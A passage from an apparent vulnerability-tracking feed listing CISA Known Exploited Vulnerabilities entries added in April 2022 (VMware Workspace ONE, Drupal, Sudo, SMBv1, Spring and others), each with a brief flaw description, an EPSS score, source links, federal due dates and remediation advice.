use. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Apr 15, 2022; federal due date May 6, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Schneider Electric U.motion Builder SQL Injection Vulnerability https://kevwire.com/record/CVE-2018-7841 Schneider Electric U.motion Builder SQL Injection Vulnerability (Apr 15, 2022). A SQL Injection vulnerability exists in U.motion Builder software which could cause unwanted code execution when an improper set of characters is entered. EPSS 72.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2018-7841&date=2026-10-25). Sources: CISA KEV entry CVE-2018-7841: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2018-7841&date=2026-10-25 CISA added this entry on 2022-04-15. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: The impacted product is end-of-life and should be disconnected if still in use. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Apr 15, 2022; federal due date May 6, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Trihedral VTScada (formerly VTS) Denial-of-Service Vulnerability https://kevwire.com/record/CVE-2016-4523 Trihedral VTScada (formerly VTS) Denial-of-Service Vulnerability (Apr 15, 2022). The WAP interface in Trihedral VTScada (formerly VTS) allows remote attackers to cause a denial-of-service (DoS). EPSS 31.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2016-4523&date=2026-10-25). Sources: CISA KEV entry CVE-2016-4523: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2016-4523&date=2026-10-25 CISA added this entry on 2022-04-15. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Apr 15, 2022; federal due date May 6, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### InduSoft Web Studio NTWebServer Directory Traversal Vulnerability https://kevwire.com/record/CVE-2014-0780 InduSoft Web Studio NTWebServer Directory Traversal Vulnerability (Apr 15, 2022). InduSoft Web Studio NTWebServer contains a directory traversal vulnerability that allows remote attackers to read administrative passwords in APP files, allowing for remote code execution. EPSS 74.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2014-0780&date=2026-10-25). Sources: CISA KEV entry CVE-2014-0780: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2014-0780&date=2026-10-25 CISA added this entry on 2022-04-15. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Apr 15, 2022; federal due date May 6, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Ubiquiti AirOS Command Injection Vulnerability https://kevwire.com/record/CVE-2010-5330 Ubiquiti AirOS Command Injection Vulnerability (Apr 15, 2022). Certain Ubiquiti devices contain a command injection vulnerability via a GET request to stainfo.cgi. EPSS 40.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2010-5330&date=2026-10-25). Sources: CISA KEV entry CVE-2010-5330: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2010-5330&date=2026-10-25 CISA added this entry on 2022-04-15. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Apr 15, 2022; federal due date May 6, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Alcatel OmniPCX Enterprise Remote Code Execution Vulnerability https://kevwire.com/record/CVE-2007-3010 Alcatel OmniPCX Enterprise Remote Code Execution Vulnerability (Apr 15, 2022). masterCGI in the Unified Maintenance Tool in Alcatel OmniPCX Enterprise Communication Server allows remote attackers to execute arbitrary commands. EPSS 97.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2007-3010&date=2026-10-25). Sources: CISA KEV entry CVE-2007-3010: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2007-3010&date=2026-10-25 CISA added this entry on 2022-04-15. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Apr 15, 2022; federal due date May 6, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### VMware Workspace ONE Access and Identity Manager Server-Side Template Injection Vulnerability https://kevwire.com/record/CVE-2022-22954 VMware Workspace ONE Access and Identity Manager Server-Side Template Injection Vulnerability (Apr 14, 2022). VMware Workspace ONE Access and Identity Manager allow for remote code execution due to server-side template injection. EPSS 100.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2022-22954&date=2026-10-25). Sources: CISA KEV entry CVE-2022-22954: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-22954&date=2026-10-25 CISA added this entry on 2022-04-14. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Apr 14, 2022; federal due date May 5, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft Windows CLFS Driver Privilege Escalation Vulnerability https://kevwire.com/record/CVE-2022-24521 Microsoft Windows CLFS Driver Privilege Escalation Vulnerability (Apr 13, 2022). Microsoft Windows Common Log File System (CLFS) Driver contains an unspecified vulnerability that allows for privilege escalation. EPSS 7.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2022-24521&date=2026-10-25). Sources: CISA KEV entry CVE-2022-24521: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-24521&date=2026-10-25 CISA added this entry on 2022-04-13. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Apr 13, 2022; federal due date May 4, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Drupal Core Remote Code Execution Vulnerability https://kevwire.com/record/CVE-2018-7602 Drupal Core Remote Code Execution Vulnerability (Apr 13, 2022). A remote code execution vulnerability exists within multiple subsystems of Drupal that can allow attackers to exploit multiple attack vectors on a Drupal site. EPSS 99.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2018-7602&date=2026-10-25). Sources: CISA KEV entry CVE-2018-7602: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2018-7602&date=2026-10-25 CISA added this entry on 2022-04-13. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Apr 13, 2022; federal due date May 4, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Kaseya VSA Remote Code Execution Vulnerability https://kevwire.com/record/CVE-2018-20753 Kaseya VSA Remote Code Execution Vulnerability (Apr 13, 2022). Kaseya VSA RMM allows unprivileged remote attackers to execute PowerShell payloads on all managed devices. EPSS 29.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2018-20753&date=2026-10-25). Sources: CISA KEV entry CVE-2018-20753: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2018-20753&date=2026-10-25 CISA added this entry on 2022-04-13. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Apr 13, 2022; federal due date May 4, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Adobe Flash Player Use-After-Free Vulnerability https://kevwire.com/record/CVE-2015-5123 Adobe Flash Player Use-After-Free Vulnerability (Apr 13, 2022). Use-after-free vulnerability in the BitmapData class in the ActionScript 3 (AS3) implementation in Adobe Flash Player allows remote attackers to execute code or cause a denial-of-service (DoS). EPSS 18.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2015-5123&date=2026-10-25). Sources: CISA KEV entry CVE-2015-5123: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2015-5123&date=2026-10-25 CISA added this entry on 2022-04-13. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: The impacted product is end-of-life and should be disconnected if still in use. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Apr 13, 2022; federal due date May 4, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Adobe Flash Player Use-After-Free Vulnerability https://kevwire.com/record/CVE-2015-5122 Adobe Flash Player Use-After-Free Vulnerability (Apr 13, 2022). Use-after-free vulnerability in the DisplayObject class in the ActionScript 3 (AS3) implementation in Adobe Flash Player allows remote attackers to execute code or cause a denial-of-service (DoS). EPSS 87.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2015-5122&date=2026-10-25). Sources: CISA KEV entry CVE-2015-5122: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2015-5122&date=2026-10-25 CISA added this entry on 2022-04-13. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: The impacted product is end-of-life and should be disconnected if still in use. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Apr 13, 2022; federal due date May 4, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Adobe Flash Player Heap-Based Buffer Overflow Vulnerability https://kevwire.com/record/CVE-2015-3113 Adobe Flash Player Heap-Based Buffer Overflow Vulnerability (Apr 13, 2022). Heap-based buffer overflow vulnerability in Adobe Flash Player allows remote attackers to execute code. EPSS 99.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2015-3113&date=2026-10-25). Sources: CISA KEV entry CVE-2015-3113: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2015-3113&date=2026-10-25 CISA added this entry on 2022-04-13. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: The impacted product is end-of-life and should be disconnected if still in use. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Apr 13, 2022; federal due date May 4, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft Internet Explorer Memory Corruption Vulnerability https://kevwire.com/record/CVE-2015-2502 Microsoft Internet Explorer Memory Corruption Vulnerability (Apr 13, 2022). Microsoft Internet Explorer contains a memory corruption vulnerability that allows an attacker to execute code or cause a denial-of-service (DoS). EPSS 51.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2015-2502&date=2026-10-25). Sources: CISA KEV entry CVE-2015-2502: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2015-2502&date=2026-10-25 CISA added this entry on 2022-04-13. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Apr 13, 2022; federal due date May 4, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Adobe Flash Player Use-After-Free Vulnerability https://kevwire.com/record/CVE-2015-0313 Adobe Flash Player Use-After-Free Vulnerability (Apr 13, 2022). Use-after-free vulnerability in Adobe Flash Player allows remote attackers to execute code. EPSS 95.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2015-0313&date=2026-10-25). Sources: CISA KEV entry CVE-2015-0313: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2015-0313&date=2026-10-25 CISA added this entry on 2022-04-13. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: The impacted product is end-of-life and should be disconnected if still in use. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Apr 13, 2022; federal due date May 4, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Adobe Flash Player Remote Code Execution Vulnerability https://kevwire.com/record/CVE-2015-0311 Adobe Flash Player Remote Code Execution Vulnerability (Apr 13, 2022). Unspecified vulnerability in Adobe Flash Player allows remote attackers to execute code. EPSS 85.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2015-0311&date=2026-10-25). Sources: CISA KEV entry CVE-2015-0311: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2015-0311&date=2026-10-25 CISA added this entry on 2022-04-13. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: The impacted product is end-of-life and should be disconnected if still in use. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Apr 13, 2022; federal due date May 4, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Adobe Flash Player Stack-Based Buffer Overflow Vulnerability https://kevwire.com/record/CVE-2014-9163 Adobe Flash Player Stack-Based Buffer Overflow Vulnerability (Apr 13, 2022). Stack-based buffer overflow in Adobe Flash Player allows attackers to execute code remotely. EPSS 44.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2014-9163&date=2026-10-25). Sources: CISA KEV entry CVE-2014-9163: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2014-9163&date=2026-10-25 CISA added this entry on 2022-04-13. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: The impacted product is end-of-life and should be disconnected if still in use. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Apr 13, 2022; federal due date May 4, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### WatchGuard Firebox and XTM Privilege Escalation Vulnerability https://kevwire.com/record/CVE-2022-23176 WatchGuard Firebox and XTM Privilege Escalation Vulnerability (Apr 11, 2022). WatchGuard Firebox and XTM appliances allow a remote attacker with unprivileged credentials to access the system with a privileged management session via exposed management access. EPSS 10.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2022-23176&date=2026-10-25). Sources: CISA KEV entry CVE-2022-23176: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-23176&date=2026-10-25 CISA added this entry on 2022-04-11. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Apr 11, 2022; federal due date May 2, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft Active Directory Domain Services Privilege Escalation Vulnerability https://kevwire.com/record/CVE-2021-42287 Microsoft Active Directory Domain Services Privilege Escalation Vulnerability (Apr 11, 2022). Microsoft Active Directory Domain Services contains an unspecified vulnerability that allows for privilege escalation. EPSS 77.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-42287&date=2026-10-25). Sources: CISA KEV entry CVE-2021-42287: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-42287&date=2026-10-25 CISA added this entry on 2022-04-11. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Apr 11, 2022; federal due date May 2, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft Active Directory Domain Services Privilege Escalation Vulnerability https://kevwire.com/record/CVE-2021-42278 Microsoft Active Directory Domain Services Privilege Escalation Vulnerability (Apr 11, 2022). Microsoft Active Directory Domain Services contains an unspecified vulnerability that allows for privilege escalation. EPSS 73.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-42278&date=2026-10-25). Sources: CISA KEV entry CVE-2021-42278: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-42278&date=2026-10-25 CISA added this entry on 2022-04-11. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Apr 11, 2022; federal due date May 2, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Google Pixel Out-of-Bounds Write Vulnerability https://kevwire.com/record/CVE-2021-39793 Google Pixel Out-of-Bounds Write Vulnerability (Apr 11, 2022). Google Pixel contains a possible out-of-bounds write due to a logic error in the code that could lead to local escalation of privilege. EPSS 0.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-39793&date=2026-10-25). Sources: CISA KEV entry CVE-2021-39793: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-39793&date=2026-10-25 CISA added this entry on 2022-04-11. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Apr 11, 2022; federal due date May 2, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Checkbox Survey Deserialization of Untrusted Data Vulnerability https://kevwire.com/record/CVE-2021-27852 Checkbox Survey Deserialization of Untrusted Data Vulnerability (Apr 11, 2022). Deserialization of Untrusted Data vulnerability in CheckboxWeb.dll of Checkbox Survey allows an unauthenticated remote attacker to execute arbitrary code. EPSS 30.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-27852&date=2026-10-25). Sources: CISA KEV entry CVE-2021-27852: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-27852&date=2026-10-25 CISA added this entry on 2022-04-11. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Versions 6 and earlier for this product are end-of-life and must be removed from agency networks. Versions 7 and later are not considered vulnerable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Apr 11, 2022; federal due date May 2, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Linux Kernel Privilege Escalation Vulnerability https://kevwire.com/record/CVE-2021-22600 Linux Kernel Privilege Escalation Vulnerability (Apr 11, 2022). Linux Kernel contains a flaw in the packet socket (AF_PACKET) implementation which could lead to incorrectly freeing memory. A local user could exploit this for denial-of-service (DoS) or possibly for privilege escalation. EPSS 6.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-22600&date=2026-10-25). Sources: CISA KEV entry CVE-2021-22600: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-22600&date=2026-10-25 CISA added this entry on 2022-04-11. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Apr 11, 2022; federal due date May 2, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### QNAP Network-Attached Storage (NAS) Command Injection Vulnerability https://kevwire.com/record/CVE-2020-2509 QNAP Network-Attached Storage (NAS) Command Injection Vulnerability (Apr 11, 2022). QNAP NAS devices contain a command injection vulnerability which could allow attackers to perform remote code execution. EPSS 34.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2020-2509&date=2026-10-25). Sources: CISA KEV entry CVE-2020-2509: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2020-2509&date=2026-10-25 CISA added this entry on 2022-04-11. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Apr 11, 2022; federal due date May 2, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Telerik UI for ASP.NET AJAX Unrestricted File Upload Vulnerability https://kevwire.com/record/CVE-2017-11317 Telerik UI for ASP.NET AJAX Unrestricted File Upload Vulnerability (Apr 11, 2022). Telerik.Web.UI in Progress Telerik UI for ASP.NET AJAX allows remote attackers to perform arbitrary file uploads or execute arbitrary code. EPSS 84.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2017-11317&date=2026-10-25). Sources: CISA KEV entry CVE-2017-11317: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2017-11317&date=2026-10-25 CISA added this entry on 2022-04-11. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Apr 11, 2022; federal due date May 2, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Sudo Heap-Based Buffer Overflow Vulnerability https://kevwire.com/record/CVE-2021-3156 Sudo Heap-Based Buffer Overflow Vulnerability (Apr 6, 2022). Sudo contains an off-by-one error that can result in a heap-based buffer overflow, which allows for privilege escalation. EPSS 100.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-3156&date=2026-10-25). Sources: CISA KEV entry CVE-2021-3156: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-3156&date=2026-10-25 CISA added this entry on 2022-04-06. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Apr 6, 2022; federal due date Apr 27, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft HTTP Protocol Stack Remote Code Execution Vulnerability https://kevwire.com/record/CVE-2021-31166 Microsoft HTTP Protocol Stack Remote Code Execution Vulnerability (Apr 6, 2022). Microsoft HTTP Protocol Stack contains a vulnerability in http.sys that allows for remote code execution. EPSS 99.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-31166&date=2026-10-25). Sources: CISA KEV entry CVE-2021-31166: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-31166&date=2026-10-25 CISA added this entry on 2022-04-06. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Apr 6, 2022; federal due date Apr 27, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft SMBv1 Server Remote Code Execution Vulnerability https://kevwire.com/record/CVE-2017-0148 Microsoft SMBv1 Server Remote Code Execution Vulnerability (Apr 6, 2022). The SMBv1 server in Microsoft allows remote attackers to execute arbitrary code via crafted packets. EPSS 99.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2017-0148&date=2026-10-25). Sources: CISA KEV entry CVE-2017-0148: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2017-0148&date=2026-10-25 CISA added this entry on 2022-04-06. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Apr 6, 2022; federal due date Apr 27, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Spring Framework JDK 9+ Remote Code Execution Vulnerability https://kevwire.com/record/CVE-2022-22965 Spring Framework JDK 9+ Remote Code Execution Vulnerability (Apr 4, 2022). Spring MVC or Spring WebFlux application running on JDK 9+ may be vulnerable to remote code execution (RCE) via data binding. EPSS 99.6% for the 